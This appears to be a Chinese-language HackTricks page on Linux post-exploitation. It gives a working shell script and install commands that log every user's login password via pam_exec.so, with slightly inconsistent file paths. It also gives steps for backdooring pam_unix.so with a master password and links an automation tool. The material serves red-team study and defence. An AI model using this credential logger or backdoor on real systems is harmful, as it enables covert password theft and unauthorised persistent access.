Linux Post-Exploitation

Reading time: 5 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks

使用 PAM 嗅探登录密码

让我们配置一个 PAM 模块来记录每个用户登录时使用的密码。如果你不知道 PAM 是什么,请查看:

PAM - Pluggable Authentication Modules

有关更多详细信息,请查看 原始帖子。这只是一个摘要:

技术概述: 可插拔认证模块(PAM)在管理基于 Unix 的系统的认证方面提供了灵活性。它们可以通过自定义登录过程来增强安全性,但如果被滥用也会带来风险。此摘要概述了使用 PAM 捕获登录凭据的技术,以及缓解策略。

捕获凭据:

  • 一个名为 toomanysecrets.sh 的 bash 脚本被创建,用于记录登录尝试,捕获日期、用户名($PAM_USER)、密码(通过 stdin)和远程主机 IP($PAM_RHOST)到 /var/log/toomanysecrets.log
  • 该脚本被设置为可执行,并通过 pam_exec.so 模块集成到 PAM 配置(common-auth)中,选项为安静运行并将认证令牌暴露给脚本。
  • 该方法演示了如何利用被攻陷的 Linux 主机来隐秘地记录凭据。
bash
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh

Backdooring PAM

有关更多详细信息,请查看原始帖子。这只是一个摘要:

可插拔认证模块(PAM)是一个在Linux下用于用户认证的系统。它基于三个主要概念:用户名密码服务。每个服务的配置文件位于/etc/pam.d/目录中,那里有共享库处理认证。

目标:修改PAM以允许使用特定密码进行认证,绕过实际用户密码。这特别关注common-auth文件中使用的pam_unix.so共享库,该文件几乎被所有服务用于密码验证。

修改pam_unix.so的步骤:

  1. 定位认证指令common-auth文件中:
  • 负责检查用户密码的行调用pam_unix.so
  1. 修改源代码
  • pam_unix_auth.c源文件中添加一个条件语句,如果使用预定义密码则授予访问权限,否则继续进行常规认证过程。
  1. 重新编译并替换在适当目录中的修改后的pam_unix.so库。
  2. 测试
  • 使用预定义密码在各种服务(登录、ssh、sudo、su、屏幕保护程序)中授予访问权限,而正常的认证过程不受影响。

note

您可以使用https://github.com/zephrax/linux-pam-backdoor自动化此过程

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks